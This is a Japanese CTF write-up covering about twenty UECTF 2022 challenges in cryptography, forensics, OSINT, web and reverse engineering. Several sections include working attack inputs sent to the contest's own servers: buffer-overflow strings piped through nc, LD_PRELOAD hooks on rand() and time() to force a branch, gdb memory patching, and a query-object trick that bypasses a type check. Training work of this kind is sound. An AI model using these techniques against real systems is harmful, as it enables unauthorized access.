LoginSignup
2
0

More than 1 year has passed since last update.

UECTF 2022 WriteUp

Posted at

はじめに

UECTF 2022に参加しました。高専SECCON以来2年ぶりくらいのCTF参加です。

環境

OS 用途
Fedora 36 GNU/Linux デスクトップPC。WriteUp書いたり数問解いたり
Ubuntu 22.04 GNU/Linux 問題を解く用。ソフトウェアをたくさん入れました。普段使いのPCでCTFは少しこわいのでVM(CTFer?はどうされているんでしょう)

WELCOME (10pts)

UECTFへようこそ! Discordサーバーにあるflagを提出してください!!

Discordへログインして招待リンクからサーバへ参加しflagゲット。

FLAG : UECTF{C4PTURE_TH3_FL4G_2022}

caesar (100pts)

ガイウス・ユリウス・カエサル Gaius Iulius Caesar

シーザー暗号で暗号化するプログラムと暗号化されたフラグ文が渡される。
アルファベットと記号をプログラムに入力して変換テーブルを作り、それを元にフラグ文を複号するコードを書いた(C言語)。

AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
#include <stdio.h>

int main(void) {
	FILE *fp = fopen("caesar_output.txt","r");
	
	char str[1024];
	char *from = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~";
	char *to = "HhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~AaBbCcDdEeFfGg";
	fscanf(fp, "%s", &str);
	for (int i = 0; i < strlen(str); i++) {
		for (int j = 0; j < strlen(to); j++) {
			if (str[i] == to[j]) {
				str[i] = from[j];
				goto a;
			}
		}
		a:
	}
	printf("%s\n", str);
}

FLAG : UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

A file (50pts)

誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?

デスクトップPC(Fedora GNU/Linux)でファイルをダウンロードするとアイコンが圧縮ファイルになっている。展開するとファイルが入っているのでstringsで中身を見るとフラグがあった。
image.png

$ strings chall | grep CTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

FLAG : UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

RSA (50pts)

RSA暗号でフラグを暗号化してみました!解読してみてください。

RSA暗号で暗号化するプログラムとフラグを暗号化したデータが渡される。

cipher text: 40407051770242960331089168574985439308267920244282326945397
p: 1023912815644413192823405424909
q: 996359224633488278278270361951
e: 65537

RSA暗号を複号するプログラムを作成してflagゲット。
p, q, eからd(秘密鍵)を求める際は拡張ユークリッド互除法を使う。
他の方のWriteUpを見て思いましたがもっと楽なライブラリありましたね。

def dec(c_text, p, q, e):
  N=p*q
  #c_text=pow(p_text,e,N)
  #cipher_text=plain_text^e mod N
  l = (p-1) * (q-1)
  (aaa,d,aaa2) = exEuclid(e,l) # exEuclidは拡張ユークリッド互除法を求める関数。ネットから拾ったため省略
  p_text=pow(c_text,d,N)
  print('plain text:',long_to_bytes(p_text))

dec(40407051770242960331089168574985439308267920244282326945397, 1023912815644413192823405424909, 996359224633488278278270361951, 65537)

FLAG : UECTF{RSA-iS-VeRy-51Mp1e}

Deleted (100pts)

USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…

USBメモリのimageファイルをphotorecで修復し、その後マウントしてフラグのかかれた画像ファイル(f0001144.png)を見つけた。

$ photorec image.raw

FLAG : UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

redaction gone wrong 1 (100pts)

NOBODY SHOULD JUST COPY AND PASTE MY FILES!
何人もコピペすべからず!

FLAGのかかれたところが黒塗りされていてコピーできないPDFファイル。
Libreoffice DrawでPDFファイルを開き編集し、黒塗りの矩形を取り外したところFLAGゲット。

FLAG : UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

revPython (100pts)

What does this pyc file do?
これは?

pycファイルとflag.jpgが渡される。
pycdcを使ってpycファイルをdecompileしたところ、完全にはできなかったものの

# Source Generated with Decompyle++
# File: a.cpython-39.pyc (Python 3.9)

from hashlib import sha256
prefix = 'UECTF{'
user_key = input('flag: ')

()

def xor_image(data = None, key = None):
    if type(key) != 'bytes':
        key = bytes(key, 'latin1')
    return None((lambda .0 = None: for i, d in .0:
d ^ key[i % len(prefix)])(enumerate(data)))


のような記述を発見。prefix文字列を使って画像ファイルのXORをとっていると当たりをつけて画像ファイルのXORをとって出力するプログラムを作成。
実行するとフラグのかかれた画像ファイルが出力された。

#!/usr/bin/env python3
prefix = b"UECTF{"
with open("flag.jpg", "rb") as f:
  b1 = f.read()
b2 = bytearray(b1)

for i in range(len(b1)):
  b2[i] = b1[i] ^ prefix[i%len(prefix)]

with open("flag_out.jpg", "wb") as f:
  f.write(b2)

FLAG : UECTF{oh..did1s0meh0wscr3wup??}

GIF1 (100pts)

GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ…
I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no...

GIFアニメを見ると途中でフラグ文字列らしきものが出力されている。
ffmpegでコマごとに画像ファイル化して確認。

$ ffmpeg -i UEC_Anime.gif gif/%06d.jpg

FLAG : UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

redaction gone wrong 2 (100pts)

We have found this image floating on the internet. Can you tell us what is the redacted text?
インターネット上でこの画像を見つけた。隠されたテキストは何だろうか?

フラグが見えないように上から黒く塗られている画像。Fedora GNU/Linux上のUbuntu VMだからなのか(関係ないかも?)見づらいが加工等せずに読めたので回答。
Screenshot from 2022-11-20 23-15-33.png

FLAG : UECTF{N3ver_ever_use_A_p3n_rofl}

buffer_overflow (50pts)

バッファオーバーフローを知っていますか?
Do you know buffer overflow?
コンパイルオプションは-fno-stack-protectorをつけています。
gcc ./bof_source.c -fno-stack-protector

nc uectf.uec.tokyo 30002

debug_flagが1になればフラグが出力される。16文字入力(末尾は1)してバッファオーバーフローさせた。
特にgdb等は使わなかった。

#include<stdio.h>
#include<string.h>
int debug();
int main(){
  char debug_flag,name[15];
  debug_flag='0';
  printf("What is your name?\n>");
  scanf("%s",name);
  if(debug_flag=='1'){
    debug();
  }
  printf("Hello %s.\n",name);
  return 0;
}

int debug(){
  char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}";
  printf("[DEBUG]:flag is %s\n",flag);
}
$ nc uectf.uec.tokyo 30002
What is your name?
>1111111111111111
[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag}
Hello 1111111111111111.
^C

FLAG : UECTF{ye4h_th1s_i5_B0f_flag}

Compare (100pts)

新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。
I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive.

ロゴファイルはbmp形式。md5sumで見ると違うファイル。

$ md5sum UECTF_*
d8d05971856eaf7bf5a0d966988d6838  UECTF_new.bmp
b1b43c8a0851d56a94952478cd5f449a  UECTF_org.bmp

cmpで比較

$ cmp -l UECTF_new.bmp UECTF_org.bmp
 101845 125 377
 102818 105 377
 103839 103 377
 104752 124 377
 105401 106 377
 106038 173 377
 106639 143 377
 107228 157 377
 107757 155 377
 108406 160 377
 109103 141 377
 109848 162 377
 110605 145 377
 111218 137 377
 111855 164 377
 112504 167 377
 113141 157 377
 113754 137 377
 114379 146 377
 115040 151 377
 115593 154 377
 116326 145 377
 116939 163 377
 117480 137 377
 118285 142 377
 118874 171 377
 119523 164 377
 120040 145 377
 120605 137 377
 121170 142 377
 121819 171 377
 122384 137 377
 123033 142 377
 123574 171 377
 124103 164 377
 124668 145 377
 125065 175 377

2列目がASCIIコードに見えるので2列目を抜き出して変換。10進数ではなく8進数のため注意が必要だった。

$ cmp -l UECTF_new.bmp UECTF_org.bmp | awk '{print $2}' > data.txt
#include <stdio.h>

int main(void) {
  FILE *fp = fopen("data.txt", "r");
  int val;
  while (fscanf(fp, "%o", &val) != EOF) { // %o : 8進数
    printf("%c", val);
  }
}

FLAG : UECTF{compare_two_files_byte_by_byte}

Discord 1 (127pts)

数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか…
A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image...

Zipファイルを展開するとDiscord(おそらくデスクトップアプリ?)のデータのディレクトリが入っていた。Cacheフォルダが怪しそうなので見ると画像ファイルがいくつかあった。GNOME環境なので拡張子がなくともプレビューされ、FLAGのファイル(f_00003a)をすぐ見つけられた。

FLAG : UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

GIF2 (127pts)

今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。
I tried to hide the flag in a GIF animation. It's not all about what people can see.

GIF1と同様にffmpegでpngファイルで画像ファイルにしてみる。

$ ffmpeg -i UECTF.gif %d.png

コマを一つGIMPで開いてペイントツールで背景を塗る。FLAGが現れた。threshold(しきい値)は0にしないと全部塗りつぶされてしまう。
最初はjpgファイルに変換していたためうまくいかなかった。GIFのバージョンがGIF89aのため透過GIFを使用しているのかもとpngに変換したのが功を奏した。

$ file UECTF.gif 
UECTF.gif: GIF image data, version 89a, 602 x 352

Screenshot from 2022-11-21 00-49-17.png

OSINT (436pts)

There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!!
あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔

https://twitter.com/__yata_nano__

アカウント名を変えたTwitterアカウントを特定する問題。
まずInternet Archiveのサイトでユーザのページが過去に存在しているか調べてみるとアーカイブに存在した。

過去のアーカイブ

また、調べるとTwitterアカウントにはTwitter idという一意のIDが振られているらしいと分かり、アーカイブのページから取得できるのではと考えた。

自分のID (@Rinwasyu) で試してみる。
ログインした状態でソースコードを表示し、id_strを探す。

"id_str":"757227979655122945"

今度はログインしていない状態でDeveloperツールでDom treeを表示し757227979655122945を探す。(ソースコード表示では探せなかった)

data-testid="757227979655122945-follow"

取得できそうなので、アーカイブのサイトでDeveloperツールからdata-testid=を探す。

data-testid="1585261641125416961-follow"

Twitter idは1585261641125416961

今度はidでユーザを追跡する。
idtwi.comというWebサイトを利用しidから表示名(アカウント名)を特定。

ユーザIDが分かったのでTwitterにアクセスし、ツイートのpastebinリンクからFLAGゲット。
https://twitter.com/ftceu

FLAG : UECTF{ur_a_tw1tter_mast3r__arent_y0u}

PDF (400pts)

一貫性のあるPDF
Consistent PDF

PDFを見るとページ番号が不規則なのが気になった。DUMMY PAGEとかかれたページを除いたページのページ番号を並べていった。

VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30

Base64 decodeをしたところFLAGゲット。
文章だとこれだけですがPDFの構造を調べたりページ分割してみたり迷走していたため時間がかかりました。

FLAG : UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}

webapi (100pts)

サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?
I created a web page that fetches flags from the server and displays them, but why doesn't it work?
http://uectf.uec.tokyo:4447

Developerツールで見ると

https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/

にアクセスしていてCORSでエラーとなっているぽい。
直接サイトにアクセスしてFLAGゲット。

FLAG : UECTF{cors_is_browser_feature}

request-validation (323pts)

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。
Can you request a object?
First, please check the flag acquisition in your environment.

http://uectf.uec.tokyo:4446

docker-compose.yml、node.js、package-lock.jsonが渡された。

$ sudo docker-compose up -d

package.jsonがないためエラーが出たが追加し解決(不備があったようです)

{
  "name": "app",
  "descripotion": "app",
  "main": "node.js",
  "dependencies": {
    "dotenv": "*",
    "express": "*"
  }
}

ソースコードを見るとGETリクエストで「q」のクエリがobjectだとフラグがもらえるらしい。
page?q=hoge ※この場合qはstring

if (req.query.q && typeof req.query.q === 'object') {
  res.send(FLAG)
} else {
  res.send('invalid request' + typeof req.query.q)
}

どうやったらいいか色々調べたところ以下ツイートを発見。

http://uectf.uec.tokyo:4446/?q[a]=a

にアクセスし無事FLAGゲット。

試したこと

  • curlでJSON投げられるか試した
    • objectにはならなかった(はず?)

WHEREAMI (400pts)

あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?
You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate?

謎の文字列が渡される。

7RJP2C22+2222222
7RJP2G22+2222222
7VJM2C22+2222222
7VJM2G22+2222222
(略)

ヒントがあった。

彼はこの文字列はPlus codeだと言っていましたがよく分かりません。
He said it was a "plus code", but I have no idea what plus code is. Is any string with "+" character in it a "plus code"???

よくわかりました。

Plus codeはgoogleが提供しているコードで、Open location codeとも言い、場所を表すらしい。
この問題では位置情報でフラグを書いているのだろうと予想。

表示のさせ方を考える。

ライブラリで表示 (断念)

googleの出すライブラリは各言語処理系でライブラリがあるので使えそうだが実装に時間がかかりそう。
緯度・経度が分かったとしても表示をしないといけない。

GNOME Maps (断念)

GNOME Mapsでインポートできないかと調べてみたが無理そう。検索欄にplus codeを入力しても正しい場所にいかない。

手書き(断念)

一旦手で絵をかくことにした。
仕様の確認をする。

東西・南北に20分割して位置を表している

2, 3, 4, 5, 6, 7, 8, 9, C, F, G, H, J, M, P, Q, R, V, W, X

上位の桁から下位の桁へ、2桁ごとに大きいエリアから小さなエリアへ分割して東西・南北の位置を表している。

AABBCCDD+EEFFGGH

今回のコードは7Rエリアと7Vエリアだけを使っていて、上位6桁しか値が変化しないので20*20*2=800マスで絵をかける。
LibreOffice Calcを使用し、方眼紙のようにマスを準備。

Screenshot from 2022-11-21 20-52-59.png

ここで与えられたplus codeの数を確認したところたくさんあり手動では無理そうなので断念。

画像にプロットするプログラム作成

上で述べたようにマスを埋められればいいので画像を出力することにした。
PGM形式で出力するプログラムを作成。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
  FILE *out = fopen("pluscode.pgm", "w");
  FILE *mail = fopen("mail.txt", "r");


  short *img = (short *)malloc(sizeof(short) * 2*20*20*20*20);
  memset(img, 0, sizeof(short) * 2 * 20 * 20 * 20 * 20);

  int w[3] = {2, 20, 20};
  int h[3] = {1, 20, 20};
  char *name = "23456789CFGHJMPQRVWX";
  fprintf(out, "P1\n%d %d\n#Hi!\n1\n", 2*20*20, 1*20*20);
  char code[20];
  int x[3] = {0};
  int y[3] = {0};
  while (fscanf(mail, "%s", code) != EOF) {
    if (code[1] == 'R') {
      x[0] = 0;
    } else {
      x[0] = 1;
    }
    y[0] = 0;
    
    for (int i = 0; i < strlen(name); i++) {
      if (code[2] == name[i]) {
        x[1] = i;
      }
      if (code[3] == name[i]) {
        y[1] = i;
      }
    }
    
    for (int i = 0; i < strlen(name); i++) {
      if (code[4] == name[i]) {
        x[2] = i;
      }
      if (code[5] == name[i]) {
        y[2] = i;
      }
    }
    
    printf("%d %d %d : %d %d %d\n", x[0], x[1], x[2], y[0], y[1], y[2]);
    img[2*20*20*(20*20*y[0]+20*y[1]+y[2]) + 20*20*x[0] + 20*x[1] + x[2]] = 1;
  }
  
  for (int i = 0; i < 2*20*20*20*20; i++) {
    fprintf(out, "%d\n", img[i]);
  }
  
  fclose(mail);
  fclose(out);
}

出力。上下左右を間違えてしまったようだがFLAGが出力された。首を傾けながらメモ。

pluscode.png

FLAG : UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

Discord2 (323pts)

前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ…
I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere...

ローカルストレージが怪しそう。
どこにデータが入っているのか手元で確認。

Screenshot from 2022-11-21 21-26-56.png

discord_f12.png

DraftStoreのdraftに入っている。

$ strings * | grep draft
{"_state":{"1039033893849944084":{"1039070178207617074":{"0":{"timestamp":1667806462142,"draft":"UECTF{Y0U_C4N_S33_Y0UR_DRAFT}"}}}},"_version":2}

FLAG : UECTF{Y0U_C4N_S33_Y0UR_DRAFT}

leveldb (失敗)

Chromiumのローカルストレージはleveldbを使っているらしく、中身を見ようとleveldbを入れたが使い方が分からなかった。

$ sudo apt-get install libsnappy-dev wget curl build-essential cmake gcc sqlite3
$ git clone --recurse-submodules https://github.com/google/leveldb.git
$ cd leveldb
$ mkdir -p build
$ cd build
$ cmake -DCMAKE_BUILD_TYPE=Release .. && cmake --build .
$ sudo make install

guess (356pts)

Please guess my password.
私のパスワードを推測してください。
※総当たりする必要はございません。そういった行為はお控えください。
nc uectf.uec.tokyo 9001

パスワードと入力文字列が同じだとフラグが出力される。

char buf[32];
char pw[32];

()

scanf("%32s", buf);

bufとpwの長さを0にするためbufの1byte目とpwの1byte目(バッファオーバーフローさせる)を0にした。

$ echo -en "\0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | ./chall
Guess my password
> Correct!!!
flag{fake_flag}
$ echo -en "\0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc uectf.uec.tokyo 9001
Guess my password
> Correct!!!
UECTF{Wow_are_you_Esper?}

FLAG : UECTF{Wow_are_you_Esper?}

captain-hook (323pts)

haha, good luck solving this
運も実力のうち!

disassembleしてみる

$ objdump -d captainhook > captainhook.S

randの関数を呼んで取ってきた値を比較し、結果をもとにジャンプしている。
randを2回実行して二回の数値がある値にならないとfwrite関数へジャンプするようになっている
rand関数の値を制御してジャンプしないようにする。

(略)
00000000000011a0 <.text>:
    11a0:	f3 0f 1e fa          	endbr64 
    11a4:	41 54                	push   %r12
    11a6:	e8 f5 02 00 00       	call   14a0 <fwrite@plt+0x310>
    11ab:	31 ff                	xor    %edi,%edi
    11ad:	e8 6e ff ff ff       	call   1120 <time@plt>
    11b2:	48 89 c7             	mov    %rax,%rdi
    11b5:	e8 76 ff ff ff       	call   1130 <srand@plt>
    11ba:	e8 31 ff ff ff       	call   10f0 <rand@plt>
    11bf:	41 89 c4             	mov    %eax,%r12d
    11c2:	e8 29 ff ff ff       	call   10f0 <rand@plt>
    11c7:	83 c0 03             	add    $0x3,%eax
    11ca:	41 0f af c4          	imul   %r12d,%eax
    11ce:	85 c0                	test   %eax,%eax
    11d0:	75 34                	jne    1206 <fwrite@plt+0x76>
    11d2:	e8 19 ff ff ff       	call   10f0 <rand@plt>
    11d7:	41 89 c4             	mov    %eax,%r12d
    11da:	e8 11 ff ff ff       	call   10f0 <rand@plt>
    11df:	41 83 c4 01          	add    $0x1,%r12d
    11e3:	83 c0 03             	add    $0x3,%eax
    11e6:	44 0f af e0          	imul   %eax,%r12d
    11ea:	45 85 e4             	test   %r12d,%r12d
    11ed:	75 17                	jne    1206 <fwrite@plt+0x76>
    11ef:	48 8d 3d 2a 0e 00 00 	lea    0xe2a(%rip),%rdi        # 2020
(略)

そこでLD_PRELOAD環境変数を使った共有ライブラリの関数フックをしてみた。
まずフックする自分用ライブラリのrand関数を作った。rand()が呼ばれた際にscanf()で任意の値を指定できる。

#include <stdio.h>

int rand(void) {
	int value;

	scanf("%d\n", &value);

	return value;
}

共有ライブラリ(.so)としてビルド

$ gcc -g -Wall -D_GNU_SOURCE -fPIC -shared -o myrand.so myrand.c -ldl

フックして実行。

$ LD_PRELOAD=./myrand.so ./captainhook
0
0
0
-3
-3
success
UECTF{hmmmm_how_did_you_solve_this?}

rand関数がアセンブリでは4回callされているが実際は5回呼ばれているように見えるがなぜか分からない。

gdb (失敗)

gdbで見てみるがdebuggerを使っていると見抜かれてしまいできない。

$ gdb ./captainhook
Reading symbols from ./captainhook...
(No debugging symbols found in ./captainhook)
(gdb) r
Starting program: /home/washy/Downloads/captain/captainhook 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
debugger detected!!! bye!!
[Inferior 1 (process 7651) exited with code 01]
(gdb) 

運も実力のうち! (失敗)

問題文から、運がよい人は実行しただけで成功するのではと考えた。
アセンブリを見るとrandのシード値でtime()関数の値を使っている。大会中のどこかの時間で成功するタイミングがあるかもしれない。
UNIX時間でいうと1668769200秒から1668942000秒の間。

#include <time.h>
#define TT 1668820449

time_t time(time_t *second) {
  time_t t = TT;
  // 1668769200 to 1668942000
  if (second != NULL)
    *second = t;
  return t;
}

共有ライブラリの関数フックを使い、time()の返す時間(unix time)を1秒ずつずらしながら順に実行していった。大会終了の1668942000秒まではできなかった(途中で無謀なことに気づいた)。
値をファイル読み書きするのはうまくできずソースファイルの書き換え・リビルドで対応した。

$ for n in {1668769200..1668942000};
> do n=$((n+1)); # 追記:不要では
> cat mytime.c | sed -s 's/#define TT [0-9]*/#define TT '$((n))'/' > mytime.c.new;
> cp mytime.c.new mytime.c;
> gcc -g -Wall -D_GNU_SOURCE -fPIC -shared -o mytime.so mytime.c -ldl;
> LD_PRELOAD=./mytime.so ./captainhook | grep -v failure;
> done

discrete (400pts)

Jumping around in memory
記憶の中でジャンプする

実行ファイルを実行し、適当にパスワードを入力してみる。

$ ./chall 
flag: aa
invalid input length

パスワードの長さを特定する。

$ for len in {1..100}; do echo -n "$len: "; cat /dev/urandom | base64 | fold -w $len | head -n 1 | ./chall; echo; done
1: flag: invalid input length
2: flag: invalid input length
3: flag: invalid input length
4: flag: invalid input length
(略)
33: flag: invalid input length
34: flag: Wrong!

35: flag: invalid input length
36: flag: invalid input length
(略)
100: flag: invalid input length

gdbで実行しながら挙動を確認する。strncmpにブレークポイントを仕掛けてみる。

$ gdb ./chall
(略)
Reading symbols from ./chall...
(No debugging symbols found in ./chall)
(gdb) b strncmp
Breakpoint 1 at 0x10a0
(gdb) r
Starting program: /home/washy/Downloads/discrete/chall 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
flag: UECTF{aaaaaaaaaaaaaaaaaaaaaaaaaaa}

Breakpoint 1, __strncmp_avx2 () at ../sysdeps/x86_64/multiarch/strcmp-avx2.S:83
83	../sysdeps/x86_64/multiarch/strcmp-avx2.S: No such file or directory.
(gdb) x/s $rax
0x7fffffffdd0d:	"UEC"
(gdb) x/s $rcx
0x7fffffffdbc0:	"UECTF{", 'a' <repeats 27 times>, "}"
(gdb) 

x/s $raxx/s $rcxでstrncmpの比較対象文字列を見ながら、一致するようにデータをセットしていった。
何度も比較すると徐々にフラグの全体像が分かってくる。
以下を順に実行した。

set {char}0x7fffffffdbd0 = 'U', {char}0x7fffffffdbd1 = 'E', {char}0x7fffffffdbd2 = 'C', {char}0x7fffffffdbd3 = 0
continue
set {char}0x7fffffffdbd1 = 'U', {char}0x7fffffffdbd2 = 'E', {char}0x7fffffffdbd3 = 'C', {char}0x7fffffffdbd4 = 0
continue
set {char}0x7fffffffdbd2 = 'U', {char}0x7fffffffdbd3 = 'E', {char}0x7fffffffdbd4 = 'C', {char}0x7fffffffdbd5 = 0
continue
set {char}0x7fffffffdbd3 = 'T', {char}0x7fffffffdbd4 = 'F', {char}0x7fffffffdbd5 = '{', {char}0x7fffffffdbd6 = 0
continue
set {char}0x7fffffffdbd4 = 'T', {char}0x7fffffffdbd5 = 'F', {char}0x7fffffffdbd6 = '{', {char}0x7fffffffdbd7 = 0
continue
set {char}0x7fffffffdbd5 = 'T', {char}0x7fffffffdbd6 = 'F', {char}0x7fffffffdbd7 = '{', {char}0x7fffffffdbd8 = 0
continue
set {char}0x7fffffffdbd6 = 'd', {char}0x7fffffffdbd7 = 'y', {char}0x7fffffffdbd8 = 'n', {char}0x7fffffffdbd9 = 0
continue
set {char}0x7fffffffdbd7 = 'd', {char}0x7fffffffdbd8 = 'y', {char}0x7fffffffdbd9 = 'n', {char}0x7fffffffdbda = 0
continue
set {char}0x7fffffffdbd8 = 'd', {char}0x7fffffffdbd9 = 'y', {char}0x7fffffffdbda = 'n', {char}0x7fffffffdbdb = 0
continue
set {char}0x7fffffffdbd9 = 'a', {char}0x7fffffffdbda = 'm', {char}0x7fffffffdbdb = 'i', {char}0x7fffffffdbdc = 0
continue
set {char}0x7fffffffdbda = 'a', {char}0x7fffffffdbdb = 'm', {char}0x7fffffffdbdc = 'i', {char}0x7fffffffdbdd = 0
continue
set {char}0x7fffffffdbdb = 'a', {char}0x7fffffffdbdc = 'm', {char}0x7fffffffdbdd = 'i', {char}0x7fffffffdbde = 0
continue
set {char}0x7fffffffdbdc = 'c', {char}0x7fffffffdbdd = '_', {char}0x7fffffffdbde = 's', {char}0x7fffffffdbdf = 0
continue
set {char}0x7fffffffdbdd = 'c', {char}0x7fffffffdbde = '_', {char}0x7fffffffdbdf = 's', {char}0x7fffffffdbe0 = 0
continue
set {char}0x7fffffffdbde = 'c', {char}0x7fffffffdbdf = '_', {char}0x7fffffffdbe0 = 's', {char}0x7fffffffdbe1 = 0
continue
set {char}0x7fffffffdbdf = 't', {char}0x7fffffffdbe0 = 'a', {char}0x7fffffffdbe1 = 't', {char}0x7fffffffdbe2 = 0
continue
set {char}0x7fffffffdbe0 = 't', {char}0x7fffffffdbe1 = 'a', {char}0x7fffffffdbe2 = 't', {char}0x7fffffffdbe3 = 0
continue
set {char}0x7fffffffdbe1 = 't', {char}0x7fffffffdbe2 = 'a', {char}0x7fffffffdbe3 = 't', {char}0x7fffffffdbe4 = 0
continue
set {char}0x7fffffffdbe2 = 'i', {char}0x7fffffffdbe3 = 'c', {char}0x7fffffffdbe4 = '_', {char}0x7fffffffdbe5 = 0
continue
set {char}0x7fffffffdbe3 = 'i', {char}0x7fffffffdbe4 = 'c', {char}0x7fffffffdbe5 = '_', {char}0x7fffffffdbe6 = 0
continue
set {char}0x7fffffffdbe4 = 'i', {char}0x7fffffffdbe5 = 'c', {char}0x7fffffffdbe6 = '_', {char}0x7fffffffdbe7 = 0
continue
set {char}0x7fffffffdbe5 = 's', {char}0x7fffffffdbe6 = 't', {char}0x7fffffffdbe7 = 'r', {char}0x7fffffffdbe8 = 0
continue
set {char}0x7fffffffdbe6 = 's', {char}0x7fffffffdbe7 = 't', {char}0x7fffffffdbe8 = 'r', {char}0x7fffffffdbe9 = 0
continue
set {char}0x7fffffffdbe7 = 's', {char}0x7fffffffdbe8 = 't', {char}0x7fffffffdbe9 = 'r', {char}0x7fffffffdbea = 0
continue
set {char}0x7fffffffdbe8 = 'i', {char}0x7fffffffdbe9 = 'n', {char}0x7fffffffdbea = 'g', {char}0x7fffffffdbeb = 0
continue
set {char}0x7fffffffdbe9 = 'i', {char}0x7fffffffdbea = 'n', {char}0x7fffffffdbeb = 'g', {char}0x7fffffffdbec = 0
continue
set {char}0x7fffffffdbea = 'i', {char}0x7fffffffdbeb = 'n', {char}0x7fffffffdbec = 'g', {char}0x7fffffffdbed = 0
continue
set {char}0x7fffffffdbeb = 's', {char}0x7fffffffdbec = '_', {char}0x7fffffffdbed = '2', {char}0x7fffffffdbee = 0
continue
set {char}0x7fffffffdbec = 's', {char}0x7fffffffdbed = '_', {char}0x7fffffffdbee = '2', {char}0x7fffffffdbef = 0
continue
set {char}0x7fffffffdbed = 's', {char}0x7fffffffdbee = '_', {char}0x7fffffffdbef = '2', {char}0x7fffffffdbf0 = 0
continue
set {char}0x7fffffffdbee = '0', {char}0x7fffffffdbef = '2', {char}0x7fffffffdbf0 = '2', {char}0x7fffffffdbf1 = 0
continue
set {char}0x7fffffffdbef = '0', {char}0x7fffffffdbf0 = '2', {char}0x7fffffffdbf1 = '2', {char}0x7fffffffdbf2 = 0
continue
set {char}0x7fffffffdbf0 = '0', {char}0x7fffffffdbf1 = '2', {char}0x7fffffffdbf2 = '2', {char}0x7fffffffdbf3 = 0
continue

FLAG : UECTF{dynamic_static_strings_2022}

rot13 (unsolved)

We love ROT13.
みんな大好きROT13
nc uectf.uec.tokyo 9003

PWN系の問題。libc-2.31.soが渡されていたのでreturn to libc攻撃などをするのかと思ったがよく分からなかった。

buffer_overflow_2 (unsolved)

I made it a little harder.
ちょっと難しくしました。
nc uectf.uec.tokyo 9002

PWN系の問題。バッファオーバーフローさせればよいのは分かった(それはそう)が何をすればよいのか分からなかった。
shellを起動させてみるのがいいのだろうか?(できるのかもわからないが)

dotnet (unsolved)

簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています)
I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64)

REV系の問題。デコンパイルしようといろいろなツールを入れようとしたがうまくいかなかった。gdbで挙動を見てみたがうまくいかず。

monodis (失敗)

動かない?

$ sudo apt install mono-complete
$ monodis --assembly ./chall_x86_64_linux
Error while trying to process ./chall_x86_64_linux

結果・まとめ

4175点をとれ8位になりました。

CTF楽しかったです。またやりたいです。

PWN系が比較的苦手だと分かりました。
gdbはほとんど使ったことがありませんでしたが、スタックの見方など知見が得られました。
